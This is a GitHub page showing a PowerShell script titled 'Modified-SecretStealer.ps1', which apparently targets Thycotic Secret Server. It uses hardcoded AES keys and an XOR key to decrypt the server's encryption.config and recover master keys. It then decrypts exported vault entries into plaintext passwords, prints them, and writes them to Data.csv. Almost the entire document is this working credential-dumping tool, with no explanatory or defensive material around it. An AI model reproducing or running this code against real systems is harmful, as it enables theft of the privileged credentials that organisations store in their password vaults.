-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathModified-SecretStealer.ps1
185 lines (148 loc) · 5.89 KB
/
Modified-SecretStealer.ps1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
Add-Type -AssemblyName System.Security;
function Get-XORValue($bytes){
$XORMagic = Convert-HexStringToByteArray "8200ab18b1a1965f1759c891e87bc32f208843331d83195c21ee03148b531a0e"
$XORPos = 0;
$out = New-Object Byte[] $bytes.count
for($i=0; $i -lt $out.count; $i++){
$out[$i] = $bytes[$i] -bxor $XORMagic[$XORPos]
$XORPos++
if($XORPos -gt 31){
$XORPos = 0
}
}
return $out
}
function Convert-HexStringToByteArray {
[CmdletBinding()]
param (
[Parameter(Mandatory = $True, ValueFromPipeline = $True)]
[String] $String
)
$String = $String.ToLower() -replace '[^a-f0-9\\\,x\-\:]','' `
-replace '0x|\\x|\-|,',':' `
-replace '^:+|:+$|x|\\',''
if ($String.Length -eq 0) { ,@() ; return }
if ($String.Length -eq 1) {
,@([System.Convert]::ToByte($String,16))
}
elseif (($String.Length % 2 -eq 0) -and ($String.IndexOf(":") -eq -1)) {
,@($String -split '([a-f0-9]{2})' | foreach-object {
if ($_) {
[System.Convert]::ToByte($_,16)
}
})
}
elseif ($String.IndexOf(":") -ne -1) {
,@($String -split ':+' | foreach-object {[System.Convert]::ToByte($_,16)})
}
else {
,@()
}
}
function Get-MasterKeysv104{
Param (
[Parameter( Position = 0, Mandatory = $True )]
[String]
$path
)
$IV = Convert-HexStringToByteArray "ad478c63f93d5201e0a1bbfff0072b6b"
$key = Convert-HexStringToByteArray "83fb558645767abb199755eafb4fbc5167113da8ee69f13267388dc3adcdb088"
$aes = New-Object "System.Security.Cryptography.AesManaged"
$aes.Mode = [System.Security.Cryptography.CipherMode]::CBC
$aes.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7
$aes.BlockSize = 128
$aes.KeySize = 256
$aes.Key = $key
$aes.IV = $IV
$bytes = [System.IO.File]::ReadAllBytes($path)
$bytes = $bytes[41..$bytes.Length]; # Skip the ASCII file header
$decryptor = $aes.CreateDecryptor();
$encryptionConfig = $decryptor.TransformFinalBlock($bytes, 0, $bytes.Length);
$aes.Dispose()
$numKeys = [System.BitConverter]::ToInt32($encryptionConfig[1..4],0) -bxor [System.BitConverter]::ToInt32($encryptionConfig[5..8],0);
Write-Verbose "encryption.config key count: $numKeys";
$config = @{};
$encPos = 9;
for($i = 0; $i -lt $numKeys; $i++){
# get the key
$lengthVal = [System.BitConverter]::ToInt32($encryptionConfig[($encPos+4)..($encPos+7)],0);
$lengthXOR = [System.BitConverter]::ToInt32($encryptionConfig[$encPos..($encPos+3)],0);
$len = $lengthVal -bxor $lengthXOR
$key = Get-XORValue $encryptionConfig[($encPos+8)..($encPos+7+$len)]
$keyString = [System.Text.Encoding]::Unicode.GetString($key)
Write-Verbose "Got encryption.config key: $keyString";
$encPos += 8+$len
# get the value
$lengthVal = [System.BitConverter]::ToInt32($encryptionConfig[($encPos+4)..($encPos+7)],0);
$lengthXOR = [System.BitConverter]::ToInt32($encryptionConfig[$encPos..($encPos+3)],0);
$len = $lengthVal -bxor $lengthXOR
$value = Get-XORValue $encryptionConfig[($encPos+8)..($encPos+7+$len)]
$valueString = [System.Text.Encoding]::Unicode.GetString($value)
Write-Verbose "Got encryption.config value: $valueString";
$encPos += 8+$len
$config.add($keyString,$valueString)
}
return $config
}
function Invoke-SecretDecrypt
{
Param (
[Parameter( Position = 1, Mandatory = $True )]
[String]
$Item,
[Parameter( Position = 2, Mandatory = $True )]
[String]
$ItemIV,
[Parameter( Position = 3, Mandatory = $True )]
[String]
$Key,
[Parameter( Position = 4, Mandatory = $True )]
[String]
$IVMek,
[Parameter( Mandatory = $True )]
[String]
$MasterKey
)
$key256 = Convert-HexStringToByteArray($MasterKey)
$IVMekBytes = Convert-HexStringToByteArray($IVMek);
$KeyBytes = Convert-HexStringToByteArray $Key
$ItemIVBytes = Convert-HexStringToByteArray $ItemIV
$ItemBytes = Convert-HexStringToByteArray $Item
$aes = New-Object System.Security.Cryptography.AesCryptoServiceProvider
$cryptoTransform = $aes.CreateDecryptor($key256, $IVMekBytes)
$intermediateKey = $cryptoTransform.TransformFinalBlock($KeyBytes, 0, $KeyBytes.Length)
$intKeyString = [System.BitConverter]::ToString($intermediateKey[0..32])
Write-Verbose "Intermediate Key: $intKeyString"
$cryptoTransform = $aes.CreateDecryptor($intermediateKey, $ItemIVBytes);
$cleartext = [System.Text.Encoding]::Unicode.GetString($cryptoTransform.TransformFinalBlock($ItemBytes, 0, $ItemBytes.Length))
return $cleartext.Substring(4); ## Remove Garbage 4 Chars at beginning of Decrypted Password.
}
function Invoke-SecretDump
{
Param (
[Parameter(Mandatory = $True )]
[String] $SecretServerDataPath,
[Parameter(Mandatory = $True )]
[String] $MasterKey
)
$raw = Import-csv $SecretServerDataPath -Delimiter ","
$collection = @()
foreach ($entry in $raw) {
try {
$plain = Invoke-SecretDecrypt -MasterKey $MasterKey -Key $entry.key.Substring(100) -IVMek $entry.key.Substring(4, 32) -Item $entry.item.Substring(100) -ItemIV $entry.item.Substring(4, 32)
$name = $entry.SecretName
$desc = $entry.SecretFieldName
$temp = new-object psobject -Property @{
Name = $name
Description = $desc
Decrypted = $plain
}
Write-Output "$name,$desc,$plain"
$collection += $temp
}
catch {
throw
}
}
$collection | Export-Csv "Data.csv" -NoTypeInformation
}